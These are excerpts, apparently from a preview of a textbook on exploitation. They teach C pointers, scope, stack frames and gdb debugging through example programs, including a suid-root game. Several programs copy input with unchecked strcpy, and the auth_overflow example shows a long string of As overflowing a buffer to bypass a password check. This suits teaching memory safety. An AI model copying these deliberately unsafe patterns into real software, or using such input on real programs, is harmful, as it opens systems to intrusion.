(gdb)	x/5i	$eip
0x80483c4	<main+16>:				mov				DWORD	PTR	[esp+4],0x80484c4
0x80483cc	<main+24>:				lea				eax,[ebp-40]
0x80483cf	<main+27>:				mov				DWORD	PTR	[esp],eax
0x80483d2	<main+30>:				call			0x80482c4	<strcpy@plt>
0x80483d7	<main+35>:				lea				eax,[ebp-40]
(gdb)	continue
Continuing.

Breakpoint	4,	0xb7f076f4	in	strcpy	()	from	/lib/tls/i686/cmov/libc.so.6
(gdb)	i	r	eip
eip												0xb7f076f4							0xb7f076f4	<strcpy+4>

(gdb)	x/5i	$eip
0xb7f076f4	<strcpy+4>:		mov				esi,DWORD	PTR	[ebp+8]
0xb7f076f7	<strcpy+7>:		mov				eax,DWORD	PTR	[ebp+12]
0xb7f076fa	<strcpy+10>:	mov				ecx,esi
0xb7f076fc	<strcpy+12>:	sub				ecx,eax
0xb7f076fe	<strcpy+14>:	mov				edx,eax
(gdb)	continue
Continuing.

Breakpoint	3,	main	()	at	char_array2.c:8
8										printf(str_a);
(gdb)	i	r	eip
eip												0x80483d7								0x80483d7	<main+35>
(gdb)	x/5i	$eip
0x80483d7	<main+35>:				lea				eax,[ebp-40]
0x80483da	<main+38>:				mov				DWORD	PTR	[esp],eax
0x80483dd	<main+41>:				call			0x80482d4	<printf@plt>
0x80483e2	<main+46>:				leave
0x80483e3	<main+47>:				ret
(gdb)

The	address	in	EIP	at	the	middle	breakpoint	is	different	because	the	code	for	the
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			printf("The	'float'	data	type	is\t	%d	bytes\n",	sizeof(float));
			printf("The	'char'	data	type	is\t\t	%d	bytes\n",	sizeof(char));
}

This	piece	of	code	uses	the	printf()	function	in	a	slightly	different	way.	It	uses
something	called	a	format	specifier	to	display	the	value	returned	from	the
sizeof()	function	calls.	Format	specifiers	will	be	explained	in	depth	later,	so	for
now,	let's	just	focus	on	the	program's	output.

reader@hacking:~/booksrc	$	gcc	datatype_sizes.c
reader@hacking:~/booksrc	$	./a.out
The	'int'	data	type	is											4	bytes
The	'unsigned	int'	data	type	is		4	bytes
The	'short	int'	data	type	is					2	bytes
The	'long	int'	data	type	is						4	bytes
The	'long	long	int'	data	type	is	8	bytes
The	'float'	data	type	is									4	bytes
The	'char'	data	type	is										1	bytes
reader@hacking:~/booksrc	$

As	previously	stated,	both	signed	and	unsigned	integers	are	four	bytes	in	size	on
the	x86	architecture.	A	float	is	also	four	bytes,	while	a	char	only	needs	a	single
byte.	The	long	and	short	keywords	can	also	be	used	with	floating-point	variables
to	extend	and	shorten	their	sizes.

Pointers

The	EIP	register	is	a	pointer	that	"points"	to	the	current	instruction	during	a
program's	execution	by	containing	its	memory	address.	The	idea	of	pointers	is
used	in	C,	also.	Since	the	physical	memory	cannot	actually	be	moved,	the
information	in	it	must	be	copied.	It	can	be	very	computationally	expensive	to	copy
large	chunks	of	memory	to	be	used	by	different	functions	or	in	different	places.
This	is	also	expensive	from	a	memory	standpoint,	since	space	for	the	new
destination	copy	must	be	saved	or	allocated	before	the	source	can	be	copied.
Pointers	are	a	solution	to	this	problem.	Instead	of	copying	a	large	block	of
memory,	it	is	much	simpler	to	pass	around	the	address	of	the	beginning	of	that
block	of	memory.
Pointers	in	C	can	be	defined	and	used	like	any	other	variable	type.	Since	memory
on	the	x86	architecture	uses	32-bit	addressing,	pointers	are	also	32	bits	in	size	(4
bytes).	Pointers	are	defined	by	prepending	an	asterisk	(*)	to	the	variable	name.
Instead	of	defining	a	variable	of	that	type,	a	pointer	is	defined	as	something	that
points	to	data	of	that	type.	The	pointer.c	program	is	an	example	of	a	pointer	being
used	with	the	char	data	type,	which	is	only	1	byte	in	size.

pointer.c

#include	<stdio.h>
#include	<string.h>

int	main()	{
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[hacky_nonpointer]	points	to	0xbffff812,	which	contains	the	char	'c'
[hacky_nonpointer]	points	to	0xbffff813,	which	contains	the	char	'd'
[hacky_nonpointer]	points	to	0xbffff814,	which	contains	the	char	'e'
[hacky_nonpointer]	points	to	0xbffff7f0,	which	contains	the	integer	1
[hacky_nonpointer]	points	to	0xbffff7f4,	which	contains	the	integer	2
[hacky_nonpointer]	points	to	0xbffff7f8,	which	contains	the	integer	3
[hacky_nonpointer]	points	to	0xbffff7fc,	which	contains	the	integer	4
[hacky_nonpointer]	points	to	0xbffff800,	which	contains	the	integer	5
reader@hacking:~/booksrc	$

The	important	thing	to	remember	about	variables	in	C	is	that	the	compiler	is	the
only	thing	that	cares	about	a	variable's	type.	In	the	end,	after	the	program	has
been	compiled,	the	variables	are	nothing	more	than	memory	addresses.	This
means	that	variables	of	one	type	can	easily	be	coerced	into	behaving	like	another
type	by	telling	the	compiler	to	typecast	them	into	the	desired	type.

Command-Line	Arguments

Many	nongraphical	programs	receive	input	in	the	form	of	command-line
arguments.	Unlike	inputting	with	scanf(),	command-line	arguments	don't
require	user	interaction	after	the	program	has	begun	execution.	This	tends	to	be
more	efficient	and	is	a	useful	input	method.
In	C,	command-line	arguments	can	be	accessed	in	the	main()	function	by
including	two	additional	arguments	to	the	function:	an	integer	and	a	pointer	to	an
array	of	strings.	The	integer	will	contain	the	number	of	arguments,	and	the	array
of	strings	will	contain	each	of	those	arguments.	The	commandline.c	program	and
its	execution	should	explain	things.

commandline.c

#include	<stdio.h>

int	main(int	arg_count,	char	*arg_list[])	{
			int	i;
			printf("There	were	%d	arguments	provided:\n",	arg_count);
			for(i=0;	i	<	arg_count;	i++)
						printf("argument	#%d\t-\t%s\n",	i,	arg_list[i]);
}
reader@hacking:~/booksrc	$	gcc	-o	commandline	commandline.c
reader@hacking:~/booksrc	$	./commandline
There	were	1	arguments	provided:
argument	#0					-							./commandline
reader@hacking:~/booksrc	$	./commandline	this	is	a	test
There	were	5	arguments	provided:
argument	#0					-							./commandline
argument	#1					-							this
argument	#2					-							is
argument	#3					-							a
argument	#4					-							test
reader@hacking:~/booksrc	$

The	zeroth	argument	is	always	the	name	of	the	executing	binary,	and	the	rest	of
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			printf("\t\t[in	func2]	i	@	0x%08x	=	%d\n",	&i,	i);
			printf("\t\t[in	func2]	j	@	0x%08x	=	%d\n",	&j,	j);
			printf("\t\t[in	func2]	setting	j	=	1337\n");
			j	=	1337;	//	Writing	to	j
			func3();
			printf("\t\t[back	in	func2]	i	@	0x%08x	=	%d\n",	&i,	i);
			printf("\t\t[back	in	func2]	j	@	0x%08x	=	%d\n",	&j,	j);
}

void	func1()	{
			int	i	=	5;
			printf("\t[in	func1]	i	@	0x%08x	=	%d\n",	&i,	i);
			printf("\t[in	func1]	j	@	0x%08x	=	%d\n",	&j,	j);
			func2();
			printf("\t[back	in	func1]	i	@	0x%08x	=	%d\n",	&i,	i);
			printf("\t[back	in	func1]	j	@	0x%08x	=	%d\n",	&j,	j);
}

int	main()	{
			int	i	=	3;
			printf("[in	main]	i	@	0x%08x	=	%d\n",	&i,	i);
			printf("[in	main]	j	@	0x%08x	=	%d\n",	&j,	j);
			func1();
			printf("[back	in	main]	i	@	0x%08x	=	%d\n",	&i,	i);
			printf("[back	in	main]	j	@	0x%08x	=	%d\n",	&j,	j);
}

The	results	of	compiling	and	executing	scope3.c	are	as	follows.
reader@hacking:~/booksrc	$	gcc	scope3.c	
reader@hacking:~/booksrc	$	./a.out
[in	main]	i	@	0xbffff834	=	3
[in	main]	j	@	0x08049988	=	42
								[in	func1]	i	@	0xbffff814	=	5
								[in	func1]	j	@	0x08049988	=	42
																[in	func2]	i	@	0xbffff7f4	=	7
																[in	func2]	j	@	0x08049988	=	42
																[in	func2]	setting	j	=	1337
																								[in	func3]	i	@	0xbffff7d4	=	11
																								[in	func3]	j	@	0xbffff7d0	=	999
																[back	in	func2]	i	@	0xbffff7f4	=	7
																[back	in	func2]	j	@	0x08049988	=	1337
								[back	in	func1]	i	@	0xbffff814	=	5
								[back	in	func1]	j	@	0x08049988	=	1337
[back	in	main]	i	@	0xbffff834	=	3
[back	in	main]	j	@	0x08049988	=	1337
reader@hacking:~/booksrc	$

In	this	output,	it	is	obvious	that	the	variable	j	used	by	func3()	is	different	than
the	j	used	by	the	other	functions.	The	j	used	by	func3()	is	located	at	0xbffff7d0,
while	the	j	used	by	the	other	functions	is	located	at	0x08049988.	Also,	notice	that
the	variable	i	is	actually	a	different	memory	address	for	each	function.
In	the	following	output,	GDB	is	used	to	stop	execution	at	a	breakpoint	in	func3().
Then	the	backtrace	command	shows	the	record	of	each	function	call	on	the	stack.

reader@hacking:~/booksrc	$	gcc	-g	scope3.c
reader@hacking:~/booksrc	$	gdb	-q	./a.out
Using	host	libthread_db	library	"/lib/tls/i686/cmov/libthread_db.so.1".

Preview from Notesale.co.uk

Page 70 of 455



Memory	Segmentation

stack_example.c

void	test_function(int	a,	int	b,	int	c,	int	d)	{
			int	flag;
			char	buffer[10];

			flag	=	31337;
			buffer[0]	=	'A';
}

int	main()	{
			test_function(1,	2,	3,	4);
}

This	program	first	declares	a	test	function	that	has	four	arguments,	which	are	all
declared	as	integers:	a,	b,	c,	and	d.	The	local	variables	for	the	function	include	a
single	character	called	flag	and	a	10-character	buffer	called	buffer.	The	memory
for	these	variables	is	in	the	stack	segment,	while	the	machine	instructions	for	the
function's	code	is	stored	in	the	text	segment.	After	compiling	the	program,	its
inner	workings	can	be	examined	with	GDB.	The	following	output	shows	the
disassembled	machine	instructions	for	main()	and	test_function().	The	main()
function	starts	at	0x08048357	and	test_function()starts	at	0x08048344.	The	first
few	instructions	of	each	function	(shown	in	bold	below)	set	up	the	stack	frame.
These	instructions	are	collectively	called	the	procedure	prologue	or	function	prologue.
They	save	the	frame	pointer	on	the	stack,	and	they	save	stack	memory	for	the
local	function	variables.	Sometimes	the	function	prologue	will	handle	some	stack
alignment	as	well.	The	exact	prologue	instructions	will	vary	greatly	depending	on
the	compiler	and	compiler	options,	but	in	general	these	instructions	build	the
stack	frame.

reader@hacking:~/booksrc	$	gcc	-g	stack_example.c
reader@hacking:~/booksrc	$	gdb	-q	./a.out
Using	host	libthread_db	library	"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb)	disass	main
Dump	of	assembler	code	for	function	main():
0x08048357	<main+0>:				push			ebp

0x08048358	<main+1>:				mov				ebp,esp

0x0804835a	<main+3>:				sub				esp,0x18

0x0804835d	<main+6>:				and				esp,0xfffffff0

0x08048360	<main+9>:				mov				eax,0x0

0x08048365	<main+14>:			sub				esp,eax

0x08048367	<main+16>:			mov				DWORD	PTR	[esp+12],0x4
0x0804836f	<main+24>:			mov				DWORD	PTR	[esp+8],0x3
0x08048377	<main+32>:			mov				DWORD	PTR	[esp+4],0x2
0x0804837f	<main+40>:			mov				DWORD	PTR	[esp],0x1
0x08048386	<main+47>:			call			0x8048344	<test_function>
0x0804838b	<main+52>:			leave
0x0804838c	<main+53>:			ret
End	of	assembler	dump
(gdb)	disass	test_function()
Dump	of	assembler	code	for	function	test_function:
0x08048344	<test_function+0>:			push			ebp

0x08048345	<test_function+1>:			mov				ebp,esp
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created.	This	means	the	bottom	of	this	new	stack	frame	is	at	the	current	value	of
ESP,	0xbffff7f0.	The	next	breakpoint	is	right	after	the	procedure	prologue	for
test_function(),	so	continuing	will	build	the	stack	frame.	The	output	below
shows	similar	information	at	the	second	breakpoint.	The	local	variables	(flag	and
buffer)	are	referenced	relative	to	the	frame	pointer	(EBP).

(gdb)	cont
Continuing.

Breakpoint	2,	test_function	(a=1,	b=2,	c=3,	d=4)	at	stack_example.c:5
5										flag	=	31337;
(gdb)	i	r	esp	ebp	eip
esp												0xbffff7c0							0xbffff7c0
ebp												0xbffff7e8							0xbffff7e8
eip												0x804834a								0x804834a	<test_function+6>
(gdb)	disass	test_function
Dump	of	assembler	code	for	function	test_function:
0x08048344	<test_function+0>:			push			ebp
0x08048345	<test_function+1>:			mov				ebp,esp
0x08048347	<test_function+3>:			sub				esp,0x28
0x0804834a	<test_function+6>:			mov				DWORD	PTR	[ebp-12],0x7a69
0x08048351	<test_function+13>:		mov				BYTE	PTR	[ebp-40],0x41
0x08048355	<test_function+17>:		leave
0x08048356	<test_function+18>:		ret
End	of	assembler	dump.
(gdb)	print	$ebp-12
$1	=	(void	*)	0xbffff7dc
(gdb)	print	$ebp-40
$2	=	(void	*)	0xbffff7c0
(gdb)	x/16xw	$esp
0xbffff7c0:			 0x00000000						0x08049548						0xbffff7d8						0x08048249
0xbffff7d0:					0xb7f9f729						0xb7fd6ff4						0xbffff808						0x080483b9
0xbffff7e0:					0xb7fd6ff4						 0xbffff89c						 0xbffff808						 0x0804838b
0xbffff7f0:						 0x00000001						0x00000002						0x00000003						0x00000004

(gdb)

The	stack	frame	is	shown	on	the	stack	at	the	end.	The	four	arguments	to	the
function	can	be	seen	at	the	bottom	of	the	stack	frame	( 	),	with	the	return
address	found	directly	on	top	( ).	Above	that	is	the	saved	frame	pointer	of
0xbffff808	( ),	which	is	what	EBP	was	in	the	previous	stack	frame.	The	rest	of
the	memory	is	saved	for	the	local	stack	variables:	flag	and	buffer.	Calculating
their	relative	addresses	to	EBP	show	their	exact	locations	in	the	stack	frame.
Memory	for	the	flag	variable	is	shown	at	 	and	memory	for	the	buffer	variable	is
shown	at	 .	The	extra	space	in	the	stack	frame	is	just	padding.
After	the	execution	finishes,	the	entire	stack	frame	is	popped	off	of	the	stack,	and
the	EIP	is	set	to	the	return	address	so	the	program	can	continue	execution.	If
another	function	was	called	within	the	function,	another	stack	frame	would	be
pushed	onto	the	stack,	and	so	on.	As	each	function	ends,	its	stack	frame	is	popped
off	of	the	stack	so	execution	can	be	returned	to	the	previous	function.	This
behavior	is	the	reason	this	segment	of	memory	is	organized	in	a	FILO	data
structure.
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			void	*ptr;
			ptr	=	malloc(size);
			if(ptr	==	NULL)
						fatal("in	ec_malloc()	on	memory	allocation");
			return	ptr;
}

In	this	new	program,	hacking.h,	the	functions	can	just	be	included.	In	C,	when	the
filename	for	a	#include	is	surrounded	by	<	and	>,	the	compiler	looks	for	this	file
in	standard	include	paths,	such	as	/usr/include/.	If	the	filename	is	surrounded	by
quotes,	the	compiler	looks	in	the	current	directory.	Therefore,	if	hacking.h	is	in
the	same	directory	as	a	program,	it	can	be	included	with	that	program	by	typing
#include	"hacking.h".
The	changed	lines	for	the	new	notetaker	program	(notetaker.c)	are	displayed	in
bold.

notetaker.c

#include	<stdio.h>
#include	<stdlib.h>
#include	<string.h>
#include	<fcntl.h>
#include	<sys/stat.h>
#include	"hacking.h"

void	usage(char	*prog_name,	char	*filename)	{
			printf("Usage:	%s	<data	to	add	to	%s>\n",	prog_name,	filename);
			exit(0);
}

void	fatal(char	*);												//	A	function	for	fatal	errors
void	*ec_malloc(unsigned	int);	//	An	error-checked	malloc()	wrapper

int	main(int	argc,	char	*argv[])	{
			int	userid,	fd;	//	File	descriptor
			char	*buffer,	*datafile;

			buffer	=	(char	*)	ec_malloc(100);
			datafile	=	(char	*)	ec_malloc(20);
			strcpy(datafile,	"/var/notes");

			if(argc	<	2)																//	If	there	aren't	command-line	arguments,
						usage(argv[0],	datafile);	//	display	usage	message	and	exit.

			strcpy(buffer,	argv[1]);		//	Copy	into	buffer.

			printf("[DEBUG]	buffer			@	%p:	\'%s\'\n",	buffer,	buffer);
			printf("[DEBUG]	datafile	@	%p:	\'%s\'\n",	datafile,	datafile);

	//	Opening	the	file
			fd	=	open(datafile,	O_WRONLY|O_CREAT|O_APPEND,	S_IRUSR|S_IWUSR);
			if(fd	==	-1)
						fatal("in	main()	while	opening	file");
			printf("[DEBUG]	file	descriptor	is	%d\n",	fd);

			userid	=	getuid();	//	Get	the	real	user	ID.
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															else	if(choice	==	2)
																		player.current_game	=	dealer_no_match;
															else
																		player.current_game	=	find_the_ace;
															last_game	=	choice;				//	and	set	last_game.
												}
												play_the_game();										//	Play	the	game.
									}
						else	if	(choice	==	4)
									show_highscore();
						else	if	(choice	==	5)	{
									printf("\nChange	user	name\n");
									printf("Enter	your	new	name:	");
									input_name();
									printf("Your	name	has	been	changed.\n\n");
						}
						else	if	(choice	==	6)	{
									printf("\nYour	account	has	been	reset	with	100	credits.\n\n");
									player.credits	=	100;
						}
			}
			update_player_data();
			printf("\nThanks	for	playing!	Bye.\n");
}

//	This	function	reads	the	player	data	for	the	current	uid
//	from	the	file.	It	returns	-1	if	it	is	unable	to	find	player
//	data	for	the	current	uid.
int	get_player_data()	{	
			int	fd,	uid,	read_bytes;
			struct	user	entry;

			uid	=	getuid();

			fd	=	open(DATAFILE,	O_RDONLY);
			if(fd	==	-1)	//	Can't	open	the	file,	maybe	it	doesn't	exist
						return	-1;
			read_bytes	=	read(fd,	&entry,	sizeof(struct	user));				//	Read	the	first	chunk.
			while(entry.uid	!=	uid	&&	read_bytes	>	0)	{	//	Loop	until	proper	uid	is	found.
						read_bytes	=	read(fd,	&entry,	sizeof(struct	user));	//	Keep	reading.
			}
			close(fd);	//	Close	the	file.
			if(read_bytes		<	sizeof(struct	user))	//	This	means	that	the	end	of	file	was	reached.
						return	-1;
			else
						player	=	entry;	//	Copy	the	read	entry	into	the	player	struct.
			return	1;										//	Return	a	success.
}

//	This	is	the	new	user	registration	function.
//	It	will	create	a	new	player	account	and	append	it	to	the	file.
void	register_new_player()		{	
			int	fd;

			printf("-=-={	New	Player	Registration	}=-=-\n");
			printf("Enter	your	name:	");
			input_name();

			player.uid	=	getuid();
			player.highscore	=	player.credits	=	100;
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int	dealer_no_match()	{	
			int	i,	j,	numbers[16],	wager	=	-1,	match	=	-1;

			printf("\n:::::::	No	Match	Dealer	:::::::\n");
			printf("In	this	game,	you	can	wager	up	to	all	of	your	credits.\n");
			printf("The	dealer	will	deal	out	16	random	numbers	between	0	and	99.\n");
			printf("If	there	are	no	matches	among	them,	you	double	your	money!\n\n");
		
			if(player.credits	==	0)	{
						printf("You	don't	have	any	credits	to	wager!\n\n");
						return	-1;
			}
			while(wager	==	-1)
						wager	=	take_wager(player.credits,	0);

			printf("\t\t:::	Dealing	out	16	random	numbers	:::\n");
			for(i=0;	i	<	16;	i++)	{
						numbers[i]	=	rand()	%	100;	//	Pick	a	number	between	0	and	99.
						printf("%2d\t",	numbers[i]);
						if(i%8	==	7)															//	Print	a	line	break	every	8	numbers.
									printf("\n");
			}
			for(i=0;	i	<	15;	i++)	{							//	Loop	looking	for	matches.
						j	=	i	+	1;
						while(j	<	16)	{
									if(numbers[i]	==	numbers[j])
												match	=	numbers[i];
									j++;
						}
			}
			if(match	!=	-1)	{
						printf("The	dealer	matched	the	number	%d!\n",	match);
						printf("You	lose	%d	credits.\n",	wager);
						player.credits	-=	wager;
			}	else	{
						printf("There	were	no	matches!	You	win	%d	credits!\n",	wager);
						player.credits	+=	wager;
			}
			return	0;
}

//	This	is	the	Find	the	Ace	game.
//	It	returns	-1	if	the	player	has	0	credits.
int	find_the_ace()	{
			int	i,	ace,	total_wager;
			int	invalid_choice,	pick	=	-1,	wager_one	=	-1,	wager_two	=	-1;
			char	choice_two,	cards[3]	=	{'X',	'X',	'X'};

			ace	=	rand()%3;	//	Place	the	ace	randomly.

			printf("*******	Find	the	Ace	*******\n");
			printf("In	this	game,	you	can	wager	up	to	all	of	your	credits.\n");
			printf("Three	cards	will	be	dealt	out,	two	queens	and	one	ace.\n");
			printf("If	you	find	the	ace,	you	will	win	your	wager.\n");
			printf("After	choosing	a	card,	one	of	the	queens	will	be	revealed.\n");
			printf("At	this	point,	you	may	either	select	a	different	card	or\n");
			printf("increase	your	wager.\n\n");

			if(player.credits	==	0)	{
						printf("You	don't	have	any	credits	to	wager!\n\n");
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						}
			}
			return	0;	
}

Since	this	is	a	multi-user	program	that	writes	to	a	file	in	the	/var	directory,	it	must
be	suid	root.

reader@hacking:~/booksrc	$	gcc	-o	game_of_chance	game_of_chance.c	
reader@hacking:~/booksrc	$	sudo	chown	root:root	./game_of_chance
reader@hacking:~/booksrc	$	sudo	chmod	u+s	./game_of_chance
reader@hacking:~/booksrc	$	./game_of_chance
-=-={	New	Player	Registration	}=-=-
Enter	your	name:	Jon	Erickson

Welcome	to	the	Game	of	Chance,	Jon	Erickson.
You	have	been	given	100	credits.
-=[	Game	of	Chance	Menu	]=-
1	-	Play	the	Pick	a	Number	game
2	-	Play	the	No	Match	Dealer	game
3	-	Play	the	Find	the	Ace	game
4	-	View	current	high	score
5	-	Change	your	username
6	-	Reset	your	account	at	100	credits
7	-	Quit
[Name:	Jon	Erickson]
[You	have	100	credits]	->		1

[DEBUG]	current_game	pointer	@	0x08048e6e

#######	Pick	a	Number	######
This	game	costs	10	credits	to	play.	Simply	pick	a	number
between	1	and	20,	and	if	you	pick	the	winning	number,	you
will	win	the	jackpot	of	100	credits!

10	credits	have	been	deducted	from	your	account.
Pick	a	number	between	1	and	20:	7
The	winning	number	is	14.
Sorry,	you	didn't	win.

You	now	have	90	credits.
Would	you	like	to	play	again?	(y/n)		n
-=[	Game	of	Chance	Menu	]=-
1	-	Play	the	Pick	a	Number	game
2	-	Play	the	No	Match	Dealer	game
3	-	Play	the	Find	the	Ace	game
4	-	View	current	high	score
5	-	Change	your	username
6	-	Reset	your	account	at	100	credits
7	-	Quit
[Name:	Jon	Erickson]
[You	have	90	credits]	->		2

[DEBUG]	current_game	pointer	@	0x08048f61

:::::::	No	Match	Dealer	:::::::
In	this	game	you	can	wager	up	to	all	of	your	credits.
The	dealer	will	deal	out	16	random	numbers	between	0	and	99.
If	there	are	no	matches	among	them,	you	double	your	money!
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How	many	of	your	90	credits	would	you	like	to	wager?		30
																:::	Dealing	out	16	random	numbers	:::
88						68						82						51						21						73						80						50
11						64						78						85						39						42						40						95
There	were	no	matches!	You	win	30	credits!

You	now	have	120	credits
Would	you	like	to	play	again?	(y/n)		n
-=[	Game	of	Chance	Menu	]=-
1	-	Play	the	Pick	a	Number	game
2	-	Play	the	No	Match	Dealer	game
3	-	Play	the	Find	the	Ace	game
4	-	View	current	high	score
5	-	Change	your	username
6	-	Reset	your	account	at	100	credits
7	-	Quit
[Name:	Jon	Erickson]
[You	have	120	credits]	->		3

[DEBUG]	current_game	pointer	@	0x0804914c
*******	Find	the	Ace	*******
In	this	game	you	can	wager	up	to	all	of	your	credits.
Three	cards	will	be	dealt:	two	queens	and	one	ace.
If	you	find	the	ace,	you	will	win	your	wager.
After	choosing	a	card,	one	of	the	queens	will	be	revealed.
At	this	point	you	may	either	select	a	different	card	or
increase	your	wager.

How	many	of	your	120	credits	would	you	like	to	wager?		50

								***	Dealing	cards	***
								._.					._.					._.
Cards:		|X|					|X|					|X|
									1							2							3
Select	a	card:	1,	2,	or	3:		2

								***	Revealing	a	queen	***
								._.					._.					._.
Cards:		|X|					|X|					|Q|
																	^--	your	pick
Would	you	like	to
[c]hange	your	pick						or						[i]ncrease	your	wager?
Select	c	or	i:		c
Your	card	pick	has	been	changed	to	card	1.

								***	End	result	***

								._.					._.					._.
Cards:		|A|					|Q|					|Q|
									^--	your	pick
You	have	won	50	credits	from	your	first	wager.

You	now	have	170	credits.
Would	you	like	to	play	again?	(y/n)		n
-=[	Game	of	Chance	Menu	]=-
1	-	Play	the	Pick	a	Number	game
2	-	Play	the	No	Match	Dealer	game
3	-	Play	the	Find	the	Ace	game
4	-	View	current	high	score
5	-	Change	your	username
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6	-	Reset	your	account	at	100	credits
7	-	Quit
[Name:	Jon	Erickson]
[You	have	170	credits]	->		4

====================|	HIGH	SCORE	|====================
You	currently	have	the	high	score	of	170	credits!
======================================================

-=[	Game	of	Chance	Menu	]=-
1	-	Play	the	Pick	a	Number	game
2	-	Play	the	No	Match	Dealer	game
3	-	Play	the	Find	the	Ace	game
4	-	View	current	high	score
5	-	Change	your	username
6	-	Reset	your	account	at	100	credits
7	-	Quit
[Name:	Jon	Erickson]
[You	have	170	credits]	->		7

Thanks	for	playing!	Bye.
reader@hacking:~/booksrc	$	sudo	su	jose
jose@hacking:/home/reader/booksrc	$	./game_of_chance
-=-={	New	Player	Registration	}=-=-
Enter	your	name:	Jose	Ronnick

Welcome	to	the	Game	of	Chance	Jose	Ronnick.
You	have	been	given	100	credits.
-=[	Game	of	Chance	Menu	]=-
1	-	Play	the	Pick	a	Number	game
2	-	Play	the	No	Match	Dealer	game
3	-	Play	the	Find	the	Ace	game
4	-	View	current	high	score	5	-	Change	your	username
6	-	Reset	your	account	at	100	credits
7	-	Quit
[Name:	Jose	Ronnick]
[You	have	100	credits]	->		4
====================|	HIGH	SCORE	|====================
Jon	Erickson	has	the	high	score	of	170.
======================================================

-=[	Game	of	Chance	Menu	]=-
1	-	Play	the	Pick	a	Number	game
2	-	Play	the	No	Match	Dealer	game
3	-	Play	the	Find	the	Ace	game
4	-	View	current	high	score
5	-	Change	your	username
6	-	Reset	your	account	at	100	credits
7	-	Quit
[Name:	Jose	Ronnick]
[You	have	100	credits]	->		7

Thanks	for	playing!	Bye.
jose@hacking:~/booksrc	$	exit
exit	
reader@hacking:~/booksrc	$

Play	around	with	this	program	a	little	bit.	The	Find	the	Ace	game	is	a
demonstration	of	a	principle	of	conditional	probability;	although	it	is
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reader@hacking:~/booksrc	$	./auth_overflow	test

Access	Denied.
reader@hacking:~/booksrc	$	./auth_overflow	brillig

-=-=-=-=-=-=-=-=-=-=-=-=-=-
						Access	Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
reader@hacking:~/booksrc	$	./auth_overflow	outgrabe

-=-=-=-=-=-=-=-=-=-=-=-=-=-
						Access	Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
reader@hacking:~/booksrc	$

So	far,	everything	works	as	the	source	code	says	it	should.	This	is	to	be	expected
from	something	as	deterministic	as	a	computer	program.	But	an	overflow	can	lead
to	unexpected	and	even	contradictory	behavior,	allowing	access	without	a	proper
password.

reader@hacking:~/booksrc	$	./auth_overflow	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

-=-=-=-=-=-=-=-=-=-=-=-=-=-
						Access	Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
reader@hacking:~/booksrc	$

You	may	have	already	figured	out	what	happened,	but	let's	look	at	this	with	a
debugger	to	see	the	specifics	of	it.

reader@hacking:~/booksrc	$	gdb	-q	./auth_overflow
Using	host	libthread_db	library	"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb)	list	1
1							#include	<stdio.h>
2							#include	<stdlib.h>
3							#include	<string.h>
4
5							int	check_authentication(char	*password)	{
6															int	auth_flag	=	0;
7															char	password_buffer[16];
8
9																strcpy(password_buffer,	password);
10
(gdb)
11														if(strcmp(password_buffer,	"brillig")	==	0)
12																						auth_flag	=	1;
13														if(strcmp(password_buffer,	"outgrabe")	==	0)
14																						auth_flag	=	1;
15
16														return	auth_flag;
17						}
18
19						int	main(int	argc,	char	*argv[])	{
20														if(argc	<	2)	{
(gdb)	break	9
Breakpoint	1	at	0x8048421:	file	auth_overflow.c,	line	9.
(gdb)	break	16
Breakpoint	2	at	0x804846f:	file	auth_overflow.c,	line	16.
(gdb)
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Figure	0x300-1.	

reader@hacking:~/booksrc	$	gcc	-g	auth_overflow2.c
reader@hacking:~/booksrc	$	gdb	-q	./a.out
Using	host	libthread_db	library	"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb)	list	1
1							#include	<stdio.h>
2							#include	<stdlib.h>
3							#include	<string.h>
4
5							int	check_authentication(char	*password)	{
6															char	password_buffer[16];
7															int	auth_flag	=	0;
8
9															strcpy(password_buffer,	password);
10
(gdb)
11														if(strcmp(password_buffer,	"brillig")	==	0)
12																						auth_flag	=	1;
13														if(strcmp(password_buffer,	"outgrabe")	==	0)
14																						auth_flag	=	1;
15
16														return	auth_flag;
17						}
18
19						int	main(int	argc,	char	*argv[])	{
20														if(argc	<	2)	{
(gdb)
21																						printf("Usage:	%s	<password>\n",	argv[0]);
22																						exit(0);
23														}
24														if(check_authentication(argv[1]))	{
25																						printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
26																						printf("						Access	Granted.\n");
27																						printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
28														}	else	{
29																						printf("\nAccess	Denied.\n");
30									}
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(gdb)

Continuing	to	the	second	breakpoint	in	check_authentication(),	a	stack	frame
(shown	in	bold)	is	pushed	onto	the	stack	when	the	function	is	called.	Since	the
stack	grows	upward	toward	lower	memory	addresses,	the	stack	pointer	is	now	64
bytes	less	at	0xbffff7a0.	The	size	and	structure	of	a	stack	frame	can	vary	greatly,
depending	on	the	function	and	certain	compiler	optimizations.	For	example,	the
first	24	bytes	of	this	stack	frame	are	just	padding	put	there	by	the	compiler.	The
local	stack	variables,	auth_flag	and	password_buffer,	are	shown	at	their
respective	memory	locations	in	the	stack	frame.	The	auth_flag	 	is	shown	at
0xbffff7bc,	and	the	16	bytes	of	the	password	buffer	 	are	shown	at	0xbffff7c0.
The	stack	frame	contains	more	than	just	the	local	variables	and	padding.
Elements	of	the	check_authentication()	stack	frame	are	shown	below.
First,	the	memory	saved	for	the	local	variables	is	shown	in	italic.	This	starts	at	the
auth_flag	variable	at	0xbffff7bc	and	continues	through	the	end	of	the	16-byte
password_buffer	variable.	The	next	few	values	on	the	stack	are	just	padding	the
compiler	threw	in,	plus	something	called	the	saved	frame	pointer.	If	the	program	is
compiled	with	the	flag	-fomit-frame-pointer	for	optimization,	the	frame	pointer
won't	be	used	in	the	stack	frame.	At	 	the	value	0x080484bb	is	the	return	address
of	the	stack	frame,	and	at	 	the	address	0xbffffe9b7	is	a	pointer	to	a	string
containing	30	As.	This	must	be	the	argument	to	the	check_authentication()
function.

(gdb)	x/32xw	$esp
0xbffff7a0:					0x00000000						0x08049744						0xbffff7b8						0x080482d9
0xbffff7b0:					0xb7f9f729						0xb7fd6ff4						0xbffff7e8						0x00000000
0xbffff7c0:					0xb7fd6ff4						0xbffff880						0xbffff7e8						0xb7fd6ff4
0xbffff7d0:					0xb7ff47b0						0x08048510						0xbffff7e8					 0x080484bb

